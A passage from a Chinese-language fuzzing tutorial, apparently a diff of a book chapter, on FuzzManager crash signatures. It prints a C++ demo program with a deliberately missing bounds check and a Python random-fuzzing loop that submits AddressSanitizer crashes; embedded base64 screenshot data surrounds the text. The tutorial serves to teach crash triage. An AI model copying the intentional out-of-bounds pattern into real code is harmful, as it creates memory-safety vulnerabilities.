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
+)
+
+您会看到此签名是指从`main()`调用时从`start()`（内部OS函数）调用时，函数`crash()`（duh！）中发生崩溃。 我们还会看到当前的崩溃地址。
+
+桶及其签名是FuzzManager中的中心概念。 如果您从各种来源收到大量崩溃报告，则使用存储桶可以轻松地对崩溃进行分组并过滤重复项。
+
+### 粗粒度签名
+
+灵活的签名系统从最初提出的细粒度签名开始，但是可以根据需要进行调整，以捕获同一bug的*变体*，并使跟踪更加容易。
+
+在下一个示例中，我们将看一个更复杂的示例，该示例从文件读取数据并创建多个崩溃签名。
+
+```py
+print_file("simply-buggy/out-of-bounds.cpp")
+
+```
+
+```py
+/*
+ * out-of-bounds - A simple multi-signature out-of-bounds demo.
+ *
+ * WARNING: This program neither makes sense nor should you code like it is
+ *          done in this program. It is purely for demo purposes and uses
+ *          bad and meaningless coding habits on purpose.
+ */
+#include <cstring>
+#include <fstream>
+#include <iostream>
+
+void printFirst(char* data, size_t count) {
+  std::string first(data, count);
+  std::cout << first << std::endl;
+}
+
+void printLast(char* data, size_t count) {
+  std::string last(data + strlen(data) - count, count);
+  std::cout << last << std::endl;
+}
+
+int validateAndPerformAction(char* buffer, size_t size) {
+  if (size < 2) {
+    std::cerr << "Buffer is too short." << std::endl;
+    return 1;
+  }
+
+  uint8_t action = buffer[0];
+  uint8_t count = buffer[1];
+  char* data = buffer + 2;
+
+  if (!count) {
+    std::cerr << "count must be non-zero." << std::endl;
+    return 1;
+  }
+
+  // Forgot to check count vs. the length of data here, doh!
+
+  if (!action) {
+    std::cerr << "Action can't be zero." << std::endl;
+    return 1;
+  } else if (action >= 128) {
+    printLast(data, count);
+    return 0;
+  } else {
+    printFirst(data, count);
+    return 0;
+  }
+}
+
+int main(int argc, char** argv) {
+  if (argc < 2) {
+    std::cerr << "Usage is: " << argv[0] << " <file>" << std::endl;
+    exit(1);
+  }
+
+  std::ifstream input(argv[1], std::ifstream::binary);
+  if (!input) {
+    std::cerr << "Error opening file." << std::endl;
+    exit(1);
+  }
+
+  input.seekg(0, input.end);
+  int size = input.tellg();
+  input.seekg(0, input.beg);
+
+  if (size < 0) {
+    std::cerr << "Error seeking in file." << std::endl;
+    exit(1);
+  }
+
+  char* buffer = new char[size];
+  input.read(buffer, size);
+
+  if (!input) {
+    std::cerr << "Error while reading file." << std::endl;
+    exit(1);
+  }
+
+  int ret = validateAndPerformAction(buffer, size);
+
+  delete[] buffer;
+  return ret;
+}
+
+```
+
+与上一个程序相比，该程序看起来更复杂，但是不用担心，它实际上并没有做很多事情：
+
+*   `main()`函数中的代码仅读取命令行上提供的文件，并将其内容放入传递到`validateAndPerformAction()`的缓冲区中。
+
+*   该`validateAndPerformAction()`函数提取缓冲区的两个字节（`action`和`count`），并考虑其余的`data`。 然后根据`action`的值，调用`printFirst()`或`printLast()`，后者将打印`data`的第一个或最后一个`count`字节。
+
+如果这听起来毫无意义，那是因为。 该程序的整体思想是`validateAndPerformAction()`中缺少安全检查（`count`不大于`data`的长度），但是稍后在两个打印功能中的任何一个中都发生了非法访问。 因此，我们希望该程序至少生成两个（略微）不同的崩溃签名-一个使用`printFirst()`，另一个使用`printLast()`。
+
+让我们基于最后一个Python脚本，通过非常简单的模糊测试来尝试一下。
+
+```py
+import [os](https://docs.python.org/3/library/os.html)
+import [random](https://docs.python.org/3/library/random.html)
+import [subprocess](https://docs.python.org/3/library/subprocess.html)
+import [tempfile](https://docs.python.org/3/library/tempfile.html)
+import [sys](https://docs.python.org/3/library/sys.html)
+
+```
+
+由于 *FuzzManager* 可能在输入8位字符时遇到问题，因此我们引入了`escapelines()`函数，可将文本转换为可打印的ASCII字符。
+
+```py
+def isascii(s):
+    return all([0 <= ord(c) <= 127 for c in s])
+
+```
+
+```py
+isascii('Hello,')
+
+```
+
+```py
+True
+
+```
+
+```py
+def escapelines(bytes):
+    def ascii_chr(byte):
+        if 0 <= byte <= 127:
+            return chr(byte)
+        return r"\x%02x" % byte
+
+    def unicode_escape(line):
+        ret = "".join(map(ascii_chr, line))
+        assert isascii(ret)
+        return ret
+
+    return [unicode_escape(line) for line in bytes.splitlines()]
+
+```
+
+```py
+escapelines(b"Hello,\nworld!")
+
+```
+
+```py
+['Hello,', 'world!']
+
+```
+
+```py
+escapelines(b"abc\xffABC")
+
+```
+
+```py
+['abc\\xffABC']
+
+```
+
+现在到实际脚本。 如上所述，我们设置了一个收集器，该收集器在发生崩溃时收集并发送崩溃信息。
+
+```py
+cmd = ["simply-buggy/out-of-bounds"]
+
+# Connect to crash server
+collector = Collector()
+
+random.seed(2048)
+
+crash_count = 0
+TRIALS = 20
+
+for itnum in range(0, TRIALS):
+    rand_len = random.randint(1, 1024)
+    rand_data = bytes([random.randrange(0, 256) for i in range(rand_len)])
+
+    (fd, current_file) = tempfile.mkstemp(prefix="fuzztest", text=True)
+    os.write(fd, rand_data)
+    os.close(fd)
+
+    current_cmd = []
+    current_cmd.extend(cmd)
+    current_cmd.append(current_file)
+
+    result = subprocess.run(current_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+    stdout = []   # escapelines(result.stdout)
+    stderr = escapelines(result.stderr)
+    crashed = False
+
+    for line in stderr:
+        if "ERROR: AddressSanitizer" in line:
+            crashed = True
+            break
+
+    print(itnum, end=" ")
+
+    if crashed:
+        sys.stdout.write("(Crash) ")
+
+        # This reads the simple-crash.fuzzmanagerconf file
+        configuration = ProgramConfiguration.fromBinary(cmd[0])
+
+        # This reads and parses our ASan trace into a more generic format,
+        # returning us a generic "CrashInfo" object that we can inspect
+        # and/or submit to the server.
+        crashInfo = CrashInfo.fromRawCrashData(stdout, stderr, configuration)
+
+        # Submit the crash
+        collector.submit(crashInfo, testCase = current_file)
+
+        crash_count += 1
+
+    os.remove(current_file)
+
+print("")
+print("Done, submitted %d crashes after %d runs." % (crash_count, TRIALS))
+
+```
+
+```py
+0 (Crash) 1 2 (Crash) 3 4 5 6 7 8 (Crash) 9 10 11 12 (Crash) 13 14 (Crash) 15 16 17 18 19 
+Done, submitted 5 crashes after 20 runs.
+
+```
+
+如果运行此脚本，您将看到它的进度并注意到它会产生很多崩溃。 确实，如果您访问 [FuzzManager崩溃页面](http://127.0.0.1:8000/crashmanager/crashes/)，您会注意到各种崩溃已累积：
+
+```py
+gui_driver.get(fuzzmanager_url + "/crashmanager/crashes")
+
+```
+
+```py
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,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